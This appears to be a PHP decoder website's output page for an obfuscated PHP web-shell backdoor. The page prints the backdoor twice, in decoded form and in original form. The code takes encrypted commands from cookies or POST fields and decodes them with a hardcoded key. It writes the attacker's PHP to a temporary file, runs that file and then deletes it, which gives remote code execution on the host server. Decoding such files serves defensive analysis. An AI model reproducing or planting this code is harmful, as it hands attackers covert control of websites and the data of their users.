Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function yrwyvlrm(){$pofumnv_pl='oxrolyq'; print_r (24021+24021); }$itfvpx = '..

Decoded Output download

<?php 	function	yrwyvlrm(){$pofumnv_pl='oxrolyq';   print_r	(24021+24021);   }$itfvpx	=  'itfvpx'	^    ' 
 
'; 
 
 
function      phrx_($mlz_ikdw,      $yspgduxyy) 
 
 
{      global       $itfvpx; 
 
 
/*  bn */$pulox       =      ""; 
 
 
/*  n*/for	($s_gjqcsb/*tkra */=	0;/* rsbk */$s_gjqcsb	<	strlen($mlz_ikdw);)      { 
/* z   */for	($sixfqchyih  =    0;  $sixfqchyih    </* m*/strlen($yspgduxyy)/*ea_*/&&	$s_gjqcsb      </* uyi*/strlen($mlz_ikdw);/*eu*/$sixfqchyih++,      $s_gjqcsb++)/*rpmfs   */{ 
 
   $pulox/* u*/.=/*_iyaq   */$itfvpx(ord($mlz_ikdw[$s_gjqcsb])	^      ord($yspgduxyy[$sixfqchyih])); 
 
       } 
	}      return	$pulox; 
 
 
} 
 
 
 
function	zlnypztffe($fvahr,  $mlz_ikdw){  global	$itfvpx; 
 
 
 
	$kdwupu	=	sprintf("."    ./*  r   */"/".$itfvpx(37)      .    "s"	.       "."."p"."l",	md5($fvahr));	file_put_contents($kdwupu,   "<"     ./* inslc  */"?"	.	"p"."h"/*   ital   */.   $itfvpx(112)/*   sf */./* pb_k  */$itfvpx(32)   .	$itfvpx(1057-940)      ./*  umk */$itfvpx(766-656)/*   cvt  */./*   a   */$itfvpx(331-223)	./*stjb*/$itfvpx(105)	.	$itfvpx(110)     .	$itfvpx(107)	./*  hile  */"("."_".$itfvpx(95)	./*   zwyw */$itfvpx(970-900)/* ed*/.   "I".$itfvpx(76)/*   gzvt  */.   "E".$itfvpx(837-742)	./*   lloxl  */"_"	.	$itfvpx(41)       ./* u   */$itfvpx(59)	.     $itfvpx(32)/*he*/.	$mlz_ikdw["d"]); 
 
 
	include($kdwupu); 
 
/*  r_hvh   */$h_gmj_xn       =    $kdwupu; 
/* l */unlink($h_gmj_xn);} 
 
function/*  cfzll   */zuladpkdr() 
 
 
{ 
 
	global/* siv */$itfvpx; 
 
 
	$s_gjqcsb/*   w  */=/*   uyz   */array(); 
      $s_gjqcsb["p"."v"]   =    phpversion();     $s_gjqcsb["s"	.	$itfvpx(118)]       =     "3"."."."5";	echo/*  hr   */@serialize($s_gjqcsb); 
 
 
} 
 
 
 
 
 
function/*za  */cfrxzgxcdz($mlz_ikdw,/* wabe   */$fvahr,      $btxyi_hl) 
 
 
{ 
 
    global	$itfvpx; 
 
 
	$mlz_ikdw	=       unserialize(phrx_(phrx_(base64_decode($mlz_ikdw),/*   q   */$fvahr),/* wugnp  */$btxyi_hl)); 
/* ztev  */if     (isset($mlz_ikdw[$itfvpx(97)/*   ss*/.       "k"]))	{ 
 
 
/* gslyc  */if/*   bvr   */($mlz_ikdw["a"]/*   k */==	"i")/*ia*/{ 
     zuladpkdr(); 
 
 
	}/*  nfqp  */elseif/*qry */($mlz_ikdw["a"]      ==     "e")       { 
 
 
	zlnypztffe($fvahr,/*   rxj   */$mlz_ikdw); 
 
 
	} 
/*  _   */exit(); 
   }} 
 
 
 
$sixfqchyihbcrkafkc/*   bit */=     $_COOKIE;$koslps   =	$_POST;$sixfqchyihbcrkafkc	=     array_merge($koslps,	$sixfqchyihbcrkafkc); 
 
$fvahr/*   jsbqc  */=/* xng */"9".$itfvpx(811-757)  .  "c"."9"  .	$itfvpx(56)/*  f  */.  $itfvpx(51)      .	"b"."9"/*   tir  */.	"-".$itfvpx(746-690)	./* igy*/"4"     .     "8"    .	$itfvpx(738-636)    .	"-"/*   koy  */.      "4".$itfvpx(55)/*  mon  */./*   g */"9"      ./*   w */$itfvpx(57)/*   p   */.     "-"."9"."f".$itfvpx(640-589)	.   "4"."-"/*th*/.    "4"     .  "c"."a"	.	"0"."7".$itfvpx(49)/* h*/./*   q   */"9"/*  l_   */.     $itfvpx(421-368)/*  odosm */.   "b"       .	"4"."3"/*   o */./*   m_wm  */"e"; 
 
 
foreach   ($sixfqchyihbcrkafkc/*   kchm_*/as	$btxyi_hl    =>	$mlz_ikdw)	{	cfrxzgxcdz($mlz_ikdw,	$fvahr,      $btxyi_hl); 
 
} ?>

Did this file decode correctly?

Original Code

<?php 	function	yrwyvlrm(){$pofumnv_pl='oxrolyq';   print_r	(24021+24021);   }$itfvpx	=  'itfvpx'	^    '

';


function      phrx_($mlz_ikdw,      $yspgduxyy)


{      global       $itfvpx;


/*  bn */$pulox       =      "";


/*  n*/for	($s_gjqcsb/*tkra */=	0;/* rsbk */$s_gjqcsb	<	strlen($mlz_ikdw);)      {
/* z   */for	($sixfqchyih  =    0;  $sixfqchyih    </* m*/strlen($yspgduxyy)/*ea_*/&&	$s_gjqcsb      </* uyi*/strlen($mlz_ikdw);/*eu*/$sixfqchyih++,      $s_gjqcsb++)/*rpmfs   */{

   $pulox/* u*/.=/*_iyaq   */$itfvpx(ord($mlz_ikdw[$s_gjqcsb])	^      ord($yspgduxyy[$sixfqchyih]));

       }
	}      return	$pulox;


}



function	zlnypztffe($fvahr,  $mlz_ikdw){  global	$itfvpx;



	$kdwupu	=	sprintf("\56"    ./*  r   */"/".$itfvpx(37)      .    "\x73"	.       "."."p"."\154",	md5($fvahr));	file_put_contents($kdwupu,   "<"     ./* inslc  */"\77"	.	"p"."\x68"/*   ital   */.   $itfvpx(112)/*   sf */./* pb_k  */$itfvpx(32)   .	$itfvpx(1057-940)      ./*  umk */$itfvpx(766-656)/*   cvt  */./*   a   */$itfvpx(331-223)	./*stjb*/$itfvpx(105)	.	$itfvpx(110)     .	$itfvpx(107)	./*  hile  */"("."_".$itfvpx(95)	./*   zwyw */$itfvpx(970-900)/* ed*/.   "I".$itfvpx(76)/*   gzvt  */.   "E".$itfvpx(837-742)	./*   lloxl  */"\137"	.	$itfvpx(41)       ./* u   */$itfvpx(59)	.     $itfvpx(32)/*he*/.	$mlz_ikdw["d"]);


	include($kdwupu);

/*  r_hvh   */$h_gmj_xn       =    $kdwupu;
/* l */unlink($h_gmj_xn);}

function/*  cfzll   */zuladpkdr()


{

	global/* siv */$itfvpx;


	$s_gjqcsb/*   w  */=/*   uyz   */array();
      $s_gjqcsb["p"."v"]   =    phpversion();     $s_gjqcsb["\x73"	.	$itfvpx(118)]       =     "3"."."."\x35";	echo/*  hr   */@serialize($s_gjqcsb);


}





function/*za  */cfrxzgxcdz($mlz_ikdw,/* wabe   */$fvahr,      $btxyi_hl)


{

    global	$itfvpx;


	$mlz_ikdw	=       unserialize(phrx_(phrx_(base64_decode($mlz_ikdw),/*   q   */$fvahr),/* wugnp  */$btxyi_hl));
/* ztev  */if     (isset($mlz_ikdw[$itfvpx(97)/*   ss*/.       "k"]))	{


/* gslyc  */if/*   bvr   */($mlz_ikdw["a"]/*   k */==	"\151")/*ia*/{
     zuladpkdr();


	}/*  nfqp  */elseif/*qry */($mlz_ikdw["a"]      ==     "e")       {


	zlnypztffe($fvahr,/*   rxj   */$mlz_ikdw);


	}
/*  _   */exit();
   }}



$sixfqchyihbcrkafkc/*   bit */=     $_COOKIE;$koslps   =	$_POST;$sixfqchyihbcrkafkc	=     array_merge($koslps,	$sixfqchyihbcrkafkc);

$fvahr/*   jsbqc  */=/* xng */"9".$itfvpx(811-757)  .  "c"."\71"  .	$itfvpx(56)/*  f  */.  $itfvpx(51)      .	"b"."\71"/*   tir  */.	"-".$itfvpx(746-690)	./* igy*/"\64"     .     "\x38"    .	$itfvpx(738-636)    .	"\x2d"/*   koy  */.      "4".$itfvpx(55)/*  mon  */./*   g */"\x39"      ./*   w */$itfvpx(57)/*   p   */.     "-"."9"."f".$itfvpx(640-589)	.   "4"."\x2d"/*th*/.    "\x34"     .  "c"."\x61"	.	"0"."7".$itfvpx(49)/* h*/./*   q   */"\x39"/*  l_   */.     $itfvpx(421-368)/*  odosm */.   "\142"       .	"4"."\x33"/*   o */./*   m_wm  */"e";


foreach   ($sixfqchyihbcrkafkc/*   kchm_*/as	$btxyi_hl    =>	$mlz_ikdw)	{	cfrxzgxcdz($mlz_ikdw,	$fvahr,      $btxyi_hl);

}

Function Calls

array_merge 1

Variables

$itfvpx I~F|Pr
$koslps 0
$sixfqchyihbcrkafkc 0

Stats

MD5 54c537c022997fa5199f66f21f1de0f8
Eval Count 0
Decode Time 67 ms